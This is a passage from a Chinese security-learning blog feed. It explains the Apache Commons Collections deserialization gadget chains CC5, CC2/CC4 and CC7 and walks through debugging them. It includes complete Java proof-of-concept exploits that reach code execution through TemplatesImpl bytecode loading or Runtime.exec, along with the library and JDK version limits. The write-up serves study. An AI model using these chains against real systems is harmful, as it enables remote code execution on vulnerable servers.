直接反射调用构造器就可以</p><hr><h2 id="CC5"><a href="#CC5" class="headerlink" title="CC5"></a>CC5</h2><p>将AnnotationInvocationHandler 替换为BadAttributeValueExpException</p><h3 id="核心类-2"><a href="#核心类-2" class="headerlink" title="核心类"></a>核心类</h3><ol><li>TemplatesImpl（sink）</li><li>ChainedTransformer</li><li>ConstantTransformer</li><li>InstantiateTransformer</li><li>TrAXFilter</li><li>TiedMapEntry </li><li>LazyMap</li><li>BadAttributeValueExpException（触发类）</li></ol><h3 id="BadAttributeValueExpException"><a href="#BadAttributeValueExpException" class="headerlink" title="BadAttributeValueExpException"></a>BadAttributeValueExpException</h3><p><img src="E:\blog_back\source_posts\CC链\image-20260527083335625.png" alt="image-20260527083335625"></p><p>BadAttributeValueExpException在反序列化的时候会触发val对象的toString方法</p><p>可以使用TiedMapEntry和LazpMap来触发</p><p><img src="E:\blog_back\source_posts\CC链\image-20260527083439095.png" alt="image-20260527083439095"></p><p>val成员可以直接反射赋值</p><hr><p>基本上就是替换了触发类而已 和CC3没啥区别</p><h3 id="POC-1"><a href="#POC-1" class="headerlink" title="POC"></a>POC</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InstantiateTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.keyvalue.TiedMapEntry;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.LazyMap;</span><br><span class="line"><span class="keyword">import</span> com.*;</span><br><span class="line"><span class="keyword">import</span> javax.management.BadAttributeValueExpException;</span><br><span class="line"><span class="keyword">import</span> javax.xml.transform.Templates;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Constructor;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Files;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Paths;</span><br><span class="line"><span class="keyword">import</span> java.util.Properties;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CC5</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span><span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">path</span> <span class="operator">=</span> <span class="string">&quot;D:\\123\\Calc.class&quot;</span>;</span><br><span class="line">        <span class="type">byte</span>[] eval = Files.readAllBytes(Paths.get(path));</span><br><span class="line"></span><br><span class="line">        <span class="type">byte</span>[][] _bytecodes = <span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;eval&#125;;</span><br><span class="line">        <span class="type">String</span> <span class="variable">transletName</span> <span class="operator">=</span> <span class="string">&quot;sakuya&quot;</span>;</span><br><span class="line">        <span class="type">Properties</span> <span class="variable">pro</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Properties</span>();</span><br><span class="line">        <span class="type">TransformerFactoryImpl</span> <span class="variable">fac</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>();</span><br><span class="line"></span><br><span class="line">        <span class="type">Class</span> <span class="variable">clazz</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl&quot;</span>);</span><br><span class="line">        <span class="type">Constructor</span> <span class="variable">constructor</span> <span class="operator">=</span> clazz.getDeclaredConstructor(<span class="type">byte</span>[][].class,String.class,Properties.class,<span class="type">int</span>.class,TransformerFactoryImpl.class);</span><br><span class="line">        constructor.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="type">TemplatesImpl</span> <span class="variable">obj</span> <span class="operator">=</span> (TemplatesImpl) constructor.newInstance(_bytecodes,transletName,pro,<span class="number">1</span>,fac);</span><br><span class="line"></span><br><span class="line">        Transformer[] transformers = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]&#123;</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(TrAXFilter.class),</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InstantiateTransformer</span>(<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Templates.class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;obj&#125;)</span><br><span class="line">        &#125;;</span><br><span class="line"></span><br><span class="line">        <span class="type">ChainedTransformer</span> <span class="variable">chainedTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transformers);</span><br><span class="line"></span><br><span class="line">        <span class="type">LazyMap</span> <span class="variable">lazyMap</span> <span class="operator">=</span> (LazyMap) LazyMap.decorate(<span class="keyword">new</span> <span class="title class_">java</span>.util.HashMap(), chainedTransformer);</span><br><span class="line"></span><br><span class="line">        <span class="type">TiedMapEntry</span> <span class="variable">tiedMapEntry</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TiedMapEntry</span>(lazyMap, <span class="string">&quot;sakuya&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">BadAttributeValueExpException</span> <span class="variable">badexp</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">BadAttributeValueExpException</span>(<span class="literal">null</span>);</span><br><span class="line">            <span class="type">Class</span> <span class="variable">BadAttributeValueExpExceptionclass</span> <span class="operator">=</span> badexp.getClass();</span><br><span class="line">            <span class="type">Field</span> <span class="variable">val</span> <span class="operator">=</span> BadAttributeValueExpExceptionclass.getDeclaredField(<span class="string">&quot;val&quot;</span>);</span><br><span class="line">            val.setAccessible(<span class="literal">true</span>);</span><br><span class="line">            val.set(badexp, tiedMapEntry);</span><br><span class="line"></span><br><span class="line">            deseriazler.deserialize(badexp);</span><br><span class="line"></span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(e);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="E:\blog_back\source_posts\CC链\image-20260527083612267.png" alt="image-20260527083612267"></p><p>注意这里</p><h3 id="调试一下-1"><a href="#调试一下-1" class="headerlink" title="调试一下"></a>调试一下</h3><p>在BadAttributeValueExpException实例化的地方打个断点</p><p><img src="E:\blog_back\source_posts\CC链\image-20260527083658442.png" alt="image-20260527083658442"></p><p><img src="E:\blog_back\source_posts\CC链\image-20260527083738909.png" alt="image-20260527083738909"></p><p>BadAttributeValueExpException的构造器会触发val的toString方法</p><p>如果这这里就把TiedMapEntry放进去会提前触发rce</p><p>所以这里得在后面再把val成员改成TiedMapEntry</p><p><img src="E:\blog_back\source_posts\CC链\image-20260527083948280.png" alt="image-20260527083948280"></p><p>后续调用到TiedMapEntry的toString方法进而触发getKey方法 后面就和cc3一样了</p><hr><h3 id="限制-2"><a href="#限制-2" class="headerlink" title="限制"></a>限制</h3><ol><li>CC包 &lt;&#x3D; 3.2.1</li><li>jdk &lt; 8u76</li></ol><h2 id="CC2与CC4"><a href="#CC2与CC4" class="headerlink" title="CC2与CC4"></a>CC2与CC4</h2><p>这2个没什么区别 就是一个使用了InvokeTrasnformer  另一个InstantiateTransformer </p><p>CC2和CC4都是在 CC包version &#x3D; 4.0的时候打的</p><h3 id="核心类-3"><a href="#核心类-3" class="headerlink" title="核心类"></a>核心类</h3><ol><li>PriorityQueue(触发类)</li><li>TransformingComparator</li><li>InstantiateTransformer&#x2F;InvokeTrasnformer  </li><li>TemplatesImpl（sink）</li></ol><h3 id="PriorityQueue和TransformingComparator"><a href="#PriorityQueue和TransformingComparator" class="headerlink" title="PriorityQueue和TransformingComparator"></a>PriorityQueue和TransformingComparator</h3><p>来看看这2个类是干什么的</p><p>先来看看<strong>entryset类</strong></p><p><img src="E:\blog_back\source_posts\CC链\image-20260527085656724.png" alt="image-20260527085656724"></p><p><strong>compare方法</strong>会触发 <strong>实例对象成员transformer的transform方法</strong> 所以可以尝试将<strong>ChainedTransfomer</strong>传入<strong>TransformingComparator</strong>里面  上面的构造器就可以实现</p><p>现在需要一个类来触发<strong>TransformingComparator的compare方法</strong></p><hr><p>来看看<strong>PriorityQueue类</strong></p><p><img src="E:\blog_back\source_posts\CC链\image-20260527090120315.png" alt="image-20260527090120315"></p><p>他的反序列化方法会触发<strong>heapify方法</strong> 跟进一下</p><p><img src="E:\blog_back\source_posts\CC链\image-20260527090200561.png" alt="image-20260527090200561"></p><p><img src="E:\blog_back\source_posts\CC链\image-20260527090316079.png" alt="image-20260527090316079"></p><p><img src="E:\blog_back\source_posts\CC链\image-20260527090351521.png" alt="image-20260527090351521"></p><p>多次调用来到<strong>siftDownUsingComparator方法</strong></p><p>在下面就会触发<strong>comparator.compare()</strong></p><p>现在只需要<strong>成员comparator</strong> 为我们的<strong>TransformingComparator对象</strong>就可以了</p><p><img src="E:\blog_back\source_posts\CC链\image-20260527090637196.png" alt="image-20260527090637196"></p><p>使用这个有参构造器就可以传入我们的<strong>TransformingComparator对象</strong>了</p><hr><h3 id="POC-2"><a href="#POC-2" class="headerlink" title="POC"></a>POC</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.deseriazler;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.comparators.TransformingComparator;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.functors.InvokerTransformer;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Constructor;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Files;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Paths;</span><br><span class="line"><span class="keyword">import</span> java.util.PriorityQueue;</span><br><span class="line"><span class="keyword">import</span> java.util.Properties;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CC2</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line"></span><br><span class="line">        <span class="type">String</span> <span class="variable">path</span> <span class="operator">=</span> <span class="string">&quot;D:\\123\\Calc.class&quot;</span>;</span><br><span class="line">        <span class="type">byte</span>[] eval = Files.readAllBytes(Paths.get(path));</span><br><span class="line"></span><br><span class="line">        <span class="type">byte</span>[][] _bytecodes = <span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;eval&#125;;</span><br><span class="line">        <span class="type">String</span> <span class="variable">transletName</span> <span class="operator">=</span> <span class="string">&quot;sakuya&quot;</span>;</span><br><span class="line">        <span class="type">Properties</span> <span class="variable">pro</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Properties</span>();</span><br><span class="line">        <span class="type">TransformerFactoryImpl</span> <span class="variable">fac</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>();</span><br><span class="line"></span><br><span class="line">        <span class="type">Class</span> <span class="variable">clazz</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl&quot;</span>);</span><br><span class="line">        <span class="type">Constructor</span> <span class="variable">constructor</span> <span class="operator">=</span> clazz.getDeclaredConstructor(<span class="type">byte</span>[][].class,String.class,Properties.class,<span class="type">int</span>.class,TransformerFactoryImpl.class);</span><br><span class="line">        constructor.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="type">TemplatesImpl</span> <span class="variable">obj</span> <span class="operator">=</span> (TemplatesImpl) constructor.newInstance(_bytecodes,transletName,pro,<span class="number">1</span>,fac);</span><br><span class="line"></span><br><span class="line">        <span class="type">InvokerTransformer</span> <span class="variable">invokerTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;newTransformer&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[<span class="number">0</span>], <span class="keyword">new</span> <span class="title class_">Object</span>[<span class="number">0</span>]);</span><br><span class="line"></span><br><span class="line">        <span class="type">TransformingComparator</span> <span class="variable">transformingComparator</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TransformingComparator</span>(<span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(<span class="number">0</span>));</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        <span class="type">PriorityQueue</span> <span class="variable">priorityQueue</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">PriorityQueue</span>(transformingComparator);</span><br><span class="line">        priorityQueue.add(obj);</span><br><span class="line">        priorityQueue.add(obj);</span><br><span class="line"></span><br><span class="line">        <span class="type">Class</span> <span class="variable">clazzt</span> <span class="operator">=</span> TransformingComparator.class;</span><br><span class="line">        <span class="type">Field</span> <span class="variable">filed</span> <span class="operator">=</span> clazzt.getDeclaredField(<span class="string">&quot;transformer&quot;</span>);</span><br><span class="line">        filed.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        filed.set(transformingComparator,invokerTransformer);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        deseriazler.deserialize(priorityQueue);</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="E:\blog_back\source_posts\CC链\image-20260527091107850.png" alt="image-20260527091107850"></p><p>注意这些地方</p><h3 id="调试一下-2"><a href="#调试一下-2" class="headerlink" title="调试一下"></a>调试一下</h3><p>在priorityQueue.add()这里打个断点</p><p><img src="E:\blog_back\source_posts\CC链\image-20260527091453646.png" alt="image-20260527091453646"></p><p><img src="E:\blog_back\source_posts\CC链\image-20260527091732415.png" alt="image-20260527091732415"></p><p>跟进offer方法</p><p><img src="E:\blog_back\source_posts\CC链\image-20260527091820043.png" alt="image-20260527091820043"></p><p>由于第一次add的时候 PriorityQueue的长度为0 所以后面不会进入siftUp方法</p><p><img src="E:\blog_back\source_posts\CC链\image-20260527091910489.png" alt="image-20260527091910489"></p><p>在第二次add的时候就会进入siftUp方法 </p><p>由于会提前触发rce 所以这里不能直接传入我们的恶意类 得后续反射修改</p><p><img src="E:\blog_back\source_posts\CC链\image-20260527092038549.png" alt="image-20260527092038549"></p><p><strong>至于为什么要在priorityQueue里面填入成员</strong></p><p><img src="E:\blog_back\source_posts\CC链\image-20260527092129123.png" alt="image-20260527092129123"></p><p>是因为后面会<strong>间接的判断长度大小</strong> 如果是空的话是没法进入 <strong>siftUpUsingComparator方法</strong></p><p><img src="E:\blog_back\source_posts\CC链\image-20260527094216776.png" alt="image-20260527094216776"></p><p><strong>又为什么要add两次</strong></p><p> 是因为headpify方法会对长度进行右移操作 如果为1的话后续反序列化没法进入siftDown方法中</p><hr><p>来正常简单过一下流程</p><p>在heapify方法这里打个断点</p><p><img src="E:\blog_back\source_posts\CC链\image-20260527094743995.png" alt="image-20260527094743995"></p><p><img src="E:\blog_back\source_posts\CC链\image-20260527094806697.png" alt="image-20260527094806697"></p><p>由于size为2 右移结果大于0可以进入循环</p><p><img src="E:\blog_back\source_posts\CC链\image-20260527094915007.png" alt="image-20260527094915007"></p><p>成功进入<strong>compare方法</strong></p><p><img src="E:\blog_back\source_posts\CC链\image-20260527095113194.png" alt="image-20260527095113194"></p><p>这里的TemplatesImpl对象来自于 PriorityQueue.add添加的对象</p><p><img src="E:\blog_back\source_posts\CC链\image-20260527095159101.png" alt="image-20260527095159101"></p><p><strong>触发TemplatesImpl的newTransformer</strong> 后面就成功加载恶意字节码</p><p><img src="E:\blog_back\source_posts\CC链\image-20260527095232238.png" alt="image-20260527095232238"></p><hr><h3 id="总结一下-2"><a href="#总结一下-2" class="headerlink" title="总结一下"></a>总结一下</h3><p>引入的PriorityQueue和TransformingComparator 就为了替换ChainedTransform</p><hr><h2 id="CC7"><a href="#CC7" class="headerlink" title="CC7"></a>CC7</h2><p>CC6的变种  将HashMap替换为HashTable了</p><h3 id="核心类-4"><a href="#核心类-4" class="headerlink" title="核心类"></a>核心类</h3><ol><li>HashTable(触发类)</li><li>TiedMApEntry</li><li>LazyMap</li><li>ChainedTransformer </li><li>ConstantTransformer </li><li>InvokerTransformer(sink类)</li></ol><h3 id="HashTable"><a href="#HashTable" class="headerlink" title="HashTable"></a>HashTable</h3><p><img src="E:\blog_back\source_posts\CC链\image-20260527103514852.png" alt="image-20260527103514852"></p><p>在反序列化的时候会触发 reconstitutionPut方法</p><p><img src="E:\blog_back\source_posts\CC链\image-20260527103725597.png" alt="image-20260527103725597"></p><p>reconstitutionPut方法里面会触发key的hashcode </p><p>只要让key为TiedMapEntry就可以了</p><h3 id="POC-3"><a href="#POC-3" class="headerlink" title="POC"></a>POC</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.keyvalue.TiedMapEntry;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.LazyMap;</span><br><span class="line"><span class="keyword">import</span> com.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Hashtable;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CC7</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        Transformer[] t = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]&#123;</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(Runtime.class),</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;getMethod&quot;</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class,Class[].class&#125;,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;getRuntime&quot;</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[<span class="number">0</span>]&#125;),</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;invoke&quot;</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Object.class,Object[].class&#125;,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="literal">null</span>,<span class="keyword">new</span> <span class="title class_">Object</span>[<span class="number">0</span>]&#125;),</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;exec&quot;</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class&#125;,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;Calc&quot;</span>&#125;)</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="type">ChainedTransformer</span> <span class="variable">c</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(t);</span><br><span class="line">        <span class="type">HashMap</span> <span class="variable">h</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HashMap</span>();</span><br><span class="line">        <span class="type">Map</span> <span class="variable">l</span> <span class="operator">=</span> LazyMap.decorate(h,<span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(<span class="number">0</span>));</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">TiedMapEntry</span> <span class="variable">tiedMapEntry</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TiedMapEntry</span>(l, <span class="string">&quot;aa&quot;</span>);</span><br><span class="line">            <span class="type">Hashtable</span> <span class="variable">hashtable</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Hashtable</span>();</span><br><span class="line">            hashtable.put(tiedMapEntry,<span class="string">&quot;sakuya&quot;</span>);</span><br><span class="line">            l.remove(<span class="string">&quot;aa&quot;</span>);</span><br><span class="line">            <span class="type">Class</span> <span class="variable">clazz</span> <span class="operator">=</span> l.getClass();</span><br><span class="line">            <span class="type">Field</span> <span class="variable">factory</span> <span class="operator">=</span> clazz.getDeclaredField(<span class="string">&quot;factory&quot;</span>);</span><br><span class="line">            factory.setAccessible(<span class="literal">true</span>);</span><br><span class="line">            factory.set(l,c);</span><br><span class="line"></span><br><span class="line">            deseriazler.deserialize(hashtable);</span><br><span class="line"></span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(e);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><hr><h2 id="总结一下-3"><a href="#总结一下-3" class="headerlink" title="总结一下"></a>总结一下</h2><p>Transformer的实现类是核心</p><p><code>ConstantTransformer</code> <code>InvokeTrasnformer</code> <code>ChainedTransformer</code>  <code>TransformMap</code></p><p>调试过程最好自己动手调试一下</p><hr><h3 id="触发类特性"><a href="#触发类特性" class="headerlink" title="触发类特性"></a>触发类特性</h3><h4 id="AnnotationInvocationHandler"><a href="#AnnotationInvocationHandler" class="headerlink" title="AnnotationInvocationHandler"></a>AnnotationInvocationHandler</h4><p><strong>readObject方法</strong> 会触发<strong>成员变量的entrySet方法</strong>  获得到的Map.Entry后续又会触发<strong>setvalue方法</strong></p><p>这个触发类算是cc专属了应该</p><p><img src="E:\blog_back\source_posts\CC链\image-20260527143552711.png" alt="image-20260527143552711"></p><p><strong>invoke方法</strong> 里面会触发<strong>成员变量的get()方法</strong></p><p>AnnotationInvocationHandler类引用了InvocationHandler 可以作为动态代理里面需要的InvocationHandler对象</p><p>可以用来动态代理对象  <strong>触发entrySet方法 进而触发invoke方法</strong>  也不怎么好用</p><p>总的来说和Map实现类有关</p><p>jdk 8u71被削弱了</p><p><img src="E:\blog_back\source_posts\CC链\image-20260527143736708.png" alt="image-20260527143736708"></p><hr><h4 id="PriorityQueue"><a href="#PriorityQueue" class="headerlink" title="PriorityQueue"></a>PriorityQueue</h4><p><strong>readObject方法</strong>会触发<strong>heapify方法</strong></p><p><img src="E:\blog_back\source_posts\CC链\image-20260527144222388.png" alt="image-20260527144222388"></p><p><img src="E:\blog_back\source_posts\CC链\image-20260527144321519.png" alt="image-20260527144321519"></p><p>后面间接的触发<strong>comparator.compare方法</strong> 和<strong>Comparator实现类绑定</strong></p><p>在CC包里面就是<strong>TransformingComparator</strong></p><hr><h4 id="BadAttributeValueExpException-1"><a href="#BadAttributeValueExpException-1" class="headerlink" title="BadAttributeValueExpException"></a>BadAttributeValueExpException</h4><p><strong>readObject方法</strong>会触发成员对象的<strong>toString方法</strong></p><p>所有类都有这个方法 再别的链子里比较容易用到</p><p>jdk 8u75被削弱了</p><p><img src="E:\blog_back\source_posts\CC链\image-20260527144908580.png" alt="image-20260527144908580"></p><h4 id="HashMap"><a href="#HashMap" class="headerlink" title="HashMap"></a>HashMap</h4><p><strong>readObject方法</strong>会触发key的<strong>hashcode方法</strong></p><p><img src="E:\blog_back\source_posts\CC链\image-20260527145156240.png" alt="image-20260527145156240"></p><p><img src="E:\blog_back\source_posts\CC链\image-20260527145219532.png" alt="image-20260527145219532"></p><h4 id="HashTable-1"><a href="#HashTable-1" class="headerlink" title="HashTable"></a>HashTable</h4><p>也是反序列化的时候触发hashcode方法</p><p><img src="E:\blog_back\source_posts\CC链\image-20260527145354794.png" alt="image-20260527145354794"></p><p><img src="E:\blog_back\source_posts\CC链\image-20260527145426405.png" alt="image-20260527145426405"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;CC链&quot;&gt;&lt;a href=&quot;#CC链&quot; class=&quot;headerlink&quot; title=&quot;CC链&quot;&gt;&lt;/a&gt;CC链&lt;/h1&gt;&lt;p&gt;根据apache commons提供的一个组件apache commons collections所提供的类触发的一些列反序列化链子</summary>
      
    
    
    
    <category term="Java安全" scheme="http://example.com/categories/Java%E5%AE%89%E5%85%A8/"/>
    
    
    <category term="知识" scheme="http://example.com/tags/%E7%9F%A5%E8%AF%86/"/>
    
    <category term="java" scheme="http://example.com/tags/java/"/>
    
    <category term="反序列化" scheme="http://example.com/tags/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
    
    <category term="CC链" scheme="http://example.com/tags/CC%E9%93%BE/"/>
    
  </entry>
  
  <entry>
    <title>从零开始学习java安全</title>
    <link href="http://example.com/2026/03/09/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E5%AD%A6%E4%B9%A0java%E5%AE%89%E5%85%A8/"/>
    <id>http://example.com/2026/03/09/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E5%AD%A6%E4%B9%A0java%E5%AE%89%E5%85%A8/</id>
